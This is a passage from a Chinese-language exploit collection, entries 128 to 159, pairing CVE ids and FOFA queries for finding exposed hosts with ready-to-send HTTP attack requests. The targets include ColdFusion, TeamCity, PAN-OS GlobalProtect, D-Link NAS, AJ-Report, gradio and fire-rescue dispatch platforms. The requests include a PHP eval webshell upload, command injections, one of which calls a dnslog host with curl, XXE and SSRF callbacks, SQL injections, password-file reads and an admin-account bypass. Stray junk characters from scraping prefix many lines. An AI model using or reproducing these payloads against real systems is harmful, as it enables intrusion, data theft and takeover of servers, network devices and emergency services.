  K. q& K& L9 V  zContent-Disposition: form-data;name="SystemName"

5 ~% n1 L3 \+ {: c, rBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
5 m) k6 l# w5 z, _9 L, p
. E; B& K8 s* e' r& L9 ~( s<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
: ]+ G- q( K1 P<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
* k: ?6 Z, q; ~8 g; c4 ^1 n8 ~<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
% O* s+ ]) i! u( P; P

& n2 q- {% ?. r- L& h
128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

: o. Q- M5 E" X6 [4 w) c129. Adobe ColdFusion 任意文件读取
6 x" b2 d4 l8 x0 a: yCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
( ]( z7 O! m6 C0 A5 c1 J4 s% `第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
2 m+ _0 N1 m# S9 K( L" Q$ OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
) f) B- x$ k, V- f5 F* x9 kAccept-Encoding: gzip, deflate
Connection: close
7 S' E- \. q, |; }
1 h9 d+ j# R* W1 [, O: F  L& J
第二步，读取/etc/passwd文件
9 e$ D/ l* a& S" pGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
2 J4 o6 \! C$ |$ d( q( T5 CHost: x.x.x.x
. ?5 ~& j$ [' Z. R! {6 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( e- Z2 p7 k9 n: Y" V% `Accept: */*
3 e% m) L1 ?+ F! V) S1 jAccept-Encoding: gzip, deflate
Connection: close
8 l# D) ^1 [1 Y6 Ruuid: 85f60018-a654-4410-a783-f81cbd5000b9
; S* H5 g; `8 q6 w% ^# f. X- x

8 v* i* o3 J  H% Z130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
0 `, S% s3 K* w, p% U$ W8 oAccept: application/json, text/javascript, */*; q=0.01
7 t8 v$ ~" h9 E, WX-Requested-With: XMLHttpRequest
. C  j/ c0 T  t. \  r. w, Q4 hUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
$ n; t& u6 S; U  N' t% ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
  X6 ?- N  c! v! d. I. @Connection: close
6 H; h1 P( w- t/ V! f( ?/ z
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
' a" @% f! T( S: V# `
<?php phpinfo();@eval($_POST['sec']);?>
0 w8 `5 q0 R3 n. J. K5 V0 h- \/ M------WebKitFormBoundary3OCVBiwBVsNuB2kR--
" e# o9 _. _$ }- k4 Q, y0 k

3 S5 w' l/ r9 g0 b131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
9 R+ L& G- t% D6 U
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
8 f2 A# I# L. t% b( S+ f" \CVE-2024-27198
2 f2 d8 z2 r. L5 B2 uFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
5 ]5 G# H1 u+ O! V* M" F1 aHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
! o& B$ E# X0 Z1 A* K+ }/ dContent-Type: application/json
  F4 E( K( S1 P1 q! H- \' c& uAccept-Encoding: gzip, deflate
" O$ [/ S- z. q4 W0 o
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
8 V( c3 x' [- Z" Y/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
8 s. @. t+ T+ H0 O  T+ O6 g/update/../admin/diagnostic.jsp
" P$ ]5 C3 L# g, ^
( H- g8 h- F+ c. p6 X3 C0 A
CVE-2024-27198-RCE.py
* e  I% U9 f% y  q
133. H5 云商城 file.php 文件上传
: `$ _" q4 ~! [FOFA：body="/public/qbsp.php"
4 [% ?* J1 T' W& MPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
! P# j# P, j% BHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 R  r' Z  E  ^0 J8 ?  ~9 RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
: e' g& `* C  [% l8 S& I, ]. S------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
+ F0 V  h- H' d$ }6 c7 z
7 |. K" }' n0 ^4 }5 n/ F  q
- `' Y/ x$ v, [$ Z5 l
8 H) i) A' s; [) k7 Z9 g134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
! q7 ^+ A$ d: B; u: |. |Netentsec NS-ASG Application Security Gateway 6.3版本
$ d) I: e9 h- v) B# IFOFA：app="网康科技-NS-ASG安全网关"
  f/ R# m. m0 t# E5 E7 _POST /protocol/index.php HTTP/1.1
2 \+ g4 r+ a! z  g' qHost: x.x.x.x
0 c" J; k0 x! b5 w" aCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
+ T9 m% m2 Q, Y" c8 ?1 v0 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
) Y9 O& C/ b- d- E6 EAccept: */*
  ^/ Y1 @* E8 E/ V9 z) V3 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
4 O- A- {" v) R" X" r9 JTe: trailers
/ d+ `( V, Q1 A" y0 Y/ GConnection: close
  Q) a. q, i5 ?% LContent-Type: application/x-www-form-urlencoded
Content-Length: 263
6 a8 ]: r. \  i2 I& C
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

1 H0 L: _. `. x8 }& Y* E
2 k8 i  Y0 p; d& }/ b135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
4 [8 w; v0 Z( S! t: {5 }CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
3 x  `! b" D7 D9 t" v% U* CFOFA：app="网康科技-NS-ASG安全网关"
4 m: a* a. E- K) Z5 b% QGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
& X! p+ x3 p% J, i5 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) _: i) W* W2 ~Accept-Language: zh-CN,zh;q=0.9
# E! w2 B$ P4 O( r9 }# ?! ^Connection: close

; k2 ]% S! ]7 D3 t1 G
% d" w  Z# S- ]/ k% E136. NextChat cors SSRF
* N5 y( p+ A0 C# F( {: aCVE-2023-49785
FOFA：title="NextChat"
- x" [$ |. w# d: zGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
  h; p& g8 p3 \% ?5 |" U2 H- I5 I% X! AHost: x.x.x.x:10000
) H" t# i; h: @) w* a. e5 t) sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
) M3 x8 j2 m" K  ?* }Accept-Language: en
% x6 `: \. b2 J" m% M* LAccept-Encoding: gzip
; R8 y' v! g. G8 i1 L$ e

137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 R% Q: `3 ?: T# AGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: O5 t1 w+ S9 o- ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ P0 o' w( X" J. w& D- ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% T( m/ j; x" s5 w$ s' g' q) KAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
* b. Z: K& l$ i5 X, _FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
- |. P& [* R% ^+ u  g9 F3 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 p+ F+ l/ C9 y- M1 a5 {( nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
" f, \' O& s9 bUpgrade-Insecure-Requests: 1

: \6 `3 C' ^+ R
. K- D' Y7 U0 O# }+ K3 ~139. 福建科立讯通信指挥调度平台editemedia.php sql注入
& n% D) Y# }- oCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
6 I( u% v4 U. U. {7 l  u9 fHost: x.x.x.x
3 Z) A& O+ H+ Z) u9 H; l* y1 m, aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 L- Q- D% h/ E4 `+ r0 R, g/ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p5 q' Z+ m& ^2 W0 q. Q# @Accept-Encoding: gzip, deflate, br
' \1 {: i: |/ I6 I) c' j7 wConnection: close
/ z. V4 f6 x+ u0 ]6 F0 eCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
- }: j5 `$ E7 T

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 _: P& p$ _: sCVE-2024-2566
( a+ x' [) {$ o5 P7 tFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
* z% S9 G& t1 h% J2 eHost: x.x.x.x
2 I2 Z/ t& J4 N( w% e( [  {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- |0 M/ r& A( }9 C- jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
, J& V& J+ D( D7 R2 b8 aConnection: close
/ j% t, D( U) O* W4 g+ E8 wCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
$ E2 W. q* T8 H- qFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
% |: h* j8 H" K+ f4 wHost: your-ip
4 ?6 X6 ^: D) W; NUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


% {4 U' E5 ]; C: t# z7 R- R, c, Fdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
5 h$ h$ p- s0 j. ]" Q+ }6 ]
9 M! ]: d- v7 y6 }
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
7 |! W0 c5 L) s, aadmin/admin
& y; f/ M9 L! X% A! w6 A143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
+ [3 l0 y+ O5 qFOFA：title='AP setup' && header='netis'
PAYLOAD
9 p- ^0 s" G0 U* E  m
  k, f7 q+ N5 m5 J: Q144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
7 C# A2 f5 s* d7 J  {: s8 psystem参数用于传要执行的命令
% `- f/ l) O0 [GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
1 P, v& u9 _3 LHost: x.x.x.x
0 U( ]1 a3 R; }9 V& f: I- uUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
9 V$ R9 p( l& V% S7 p* XConnection: close
. Q% c! I" y; @+ J6 SAccept: */*
Accept-Language: en
Accept-Encoding: gzip
. \) m. r! Y9 W  m# X" x
- L' q9 N" |% Z5 r1 k: K( B
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
* X2 [, P, T: r# d1 p0 ^& cCVE-2024-3400
FOFA：icon_hash="-631559155"
+ ~; C0 Z: l4 e5 cGET /global-protect/login.esp HTTP/1.1
/ }- T: E+ U. D. lHost: 192.168.30.112:1005
# t' q1 u7 t* D1 L  S0 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
  M: F3 }% M3 R  N0 P( |Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

- ]& u1 G9 p) Q- r
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
  M4 M' V; ?6 v7 n+ O! BGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
$ i: ?4 I6 K) A: `: m" A2 XHost: x.x.x.x
$ d' n8 S& T  [- [$ y' S! D; yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
, P% s+ I( w0 u7 K% UConnection: close
7 H/ P( X. b5 W4 k

  o4 \5 s. H) @1 u6 {147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
4 b: A& G- w* l7 }9 D+ u) SCVE-2024-32399
* y8 A( b4 U5 B& I  M2 mFOFA：body="RaidenMAILD"
, U# t" d- s# c+ h' ]GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
! x7 m& N7 j' p1 a! aCache-Control: max-age=0
Connection: close


4 J. I; \2 j9 b, E148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
* ~, w4 p* W* S! T
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
5 ~, q* s/ _3 X3 i4 d) |6 j; gAccept-Language: zh-CN,zh;q=0.9
$ ?+ I% u/ L/ tContent-Type: application/json;charset=UTF-8
) v. t. @9 G! _# wConnection: close

2 v5 l: ^+ U3 c- l. z3 |6 F{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 a+ X. q7 q. q8 T0 W
150. AJ-Report 1.4.0 认证绕过与远程代码执行
/ M9 v3 S+ w+ FFOFA：title="AJ-Report"
! @2 T0 ^3 d! n' M: ^0 GPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
2 w% N0 _/ t# T3 N7 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 i& K  @! Q: X+ x: D& ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 J5 T' {0 M9 y7 X& ~Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
# f3 _4 r3 ]# T  pConnection: close
Content-Length: 339

) k/ o, m" `) w; d! \/ w{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
5 W' X6 k* b5 M' j. Y

0 \6 W0 {/ O0 h8 X9 R8 P0 R151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
+ C, c, w0 f0 V' R+ IGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
7 f+ q8 X, u/ ~: cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
) c% e. b' i+ B- Y
: {: l  w5 ^8 R) X" x3 k: m; H
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
" W( e+ D" G& L- E$ X; E: _. BLoadMaster <= 7.2.59.2 (GA)
+ R) v" P' Z/ D7 f: m; ^( bLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
+ m% |, |7 d. C( Z9 ?GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
# H/ E5 |! s, {+ p% j# ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
+ U, k) j) p/ P- n2 zConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


2 L" h0 l2 n  b9 K( h0 f* a153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
8 U6 c) _9 `# E3 {5 F第一步，请求/config文件获取componets的id
http://x.x.x.x/config
+ l- u7 e# u. o$ i
) p! w  ^# \4 }' b  p) z: T
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
; f# f% ]" }4 D- F1 `: {1 IContent-Length: 115
Content-Type: application/json
4 L7 o2 ]5 V% K9 hAccept-Encoding: gzip

4 Q9 H+ q- J, ~{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

* x& Z# C, [2 r$ e+ F
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
6 D9 s7 W' ^  T5 M% N+ L! _

( ?9 }; m' I0 [/ H/ s7 i% y4 A154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
) u8 U" a  t1 f/ G, {( PPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
3 s" j: V5 h2 ~& L7 U' e$ ]+ oCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
% e( `  f7 w' w! e) RContent-Type: application/json
! D3 @. J4 Z. M; t0 Y& E. \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
3 t0 \1 k: h, B5 z6 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
9 [% K0 h1 }  W- w' K+ j% _% kAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
2 m4 i+ V) r: C* ]% i* ]6 N. R) f
$ j5 R2 Y2 y* y{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
  ]  A) g$ o3 Y( Z& ?2 D. X

155. 六零导航页 file.php 任意文件上传
; Q$ A" Q' q! G: sCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
7 p9 J4 x. H: V+ `  b: H6 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
% H9 F  [, P2 KConnection: close
Content-Length: 232
. a+ v3 C' q; h2 [! yAccept: application/json, text/javascript, */*; q=0.01
) ~$ n9 h/ T1 _Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
! ^  a/ @7 a- k$ J# N/ G4 tX-Requested-With: XMLHttpRequest
. F7 G; U" K4 I/ w  i2 f
# y0 W5 u. a' k6 q/ P! B-----------------------------qttl7vemrsold314zg0f
3 J+ `& q- x# f# ~Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

1 k. G5 ^9 f9 G: n<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


: L6 Y. i' w7 d5 ^( _+ |6 q+ f- p访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
3 [6 E1 X7 b& u5 TCVE-2024-3721
& W: G  w/ L) K* n8 Z" \$ ]FOFA："Location: /login.rsp"
·TBK DVR-4104
8 y: z) O! {$ y·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
+ M+ {, f( L7 G% h- ECookie: uid=1
Accept-Encoding: gzip


; O1 b3 t  Y; U& a* }1 H157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
% u, F9 o  o6 f3 K, s1 R" [& t+ YPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
: u; y" }8 |9 qContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! c# l7 c5 y4 b' G0 K- q2 W+ AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ Y; E% Y+ C# c* ^Cache-Control: max-age=0
Connection: close
7 o% r3 c3 I# v. z- k" ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
0 q1 |! ?$ o) I" j& C; ^- O! m
$ y& {2 c( D6 Q0 f------WebKitFormBoundary1imovELzPsfzp5dN
4 D5 K2 V4 i3 a/ e" j5 DContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

0 W7 [' H0 v8 p( Y" L( inyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
5 J: H0 I9 A0 o5 f" V3 }( wContent-Disposition: form-data; name="key"
6 [3 _+ d5 D! R0 V, j# b  }
null
! @( O7 W& a( K1 ?------WebKitFormBoundary1imovELzPsfzp5dN
! n! @; j, {  ^Content-Disposition: form-data; name="form"

% Z) Y9 o) y  T+ @: M4 p8 {% dnull
! m" ?6 y3 [4 l; V  k------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
; }, R" K. M& q- S- c- T
: \$ O6 Y  [. G$ a/ hnull
; u0 w2 E! ?/ L& \/ v7 s% n------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
8 L4 e7 w8 Q& y' N( u' C
4 S  p' i% B6 T+ nnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
" R: `9 c; J* p9 e( j3 Q4 _

$ ?* ?* S/ }, |. jhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
/ ^: |7 t& J, ACVE-2024-32640
; L, N1 Q5 C# `& F+ d2 z/ J, zFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
$ J8 J, a0 v1 x& c) \Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
3 q6 H: f8 j$ I- m1 g  ~+ Y+ J3 L
* r: }/ q8 ?& ?/ ^
% t$ U3 E5 x2 J159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
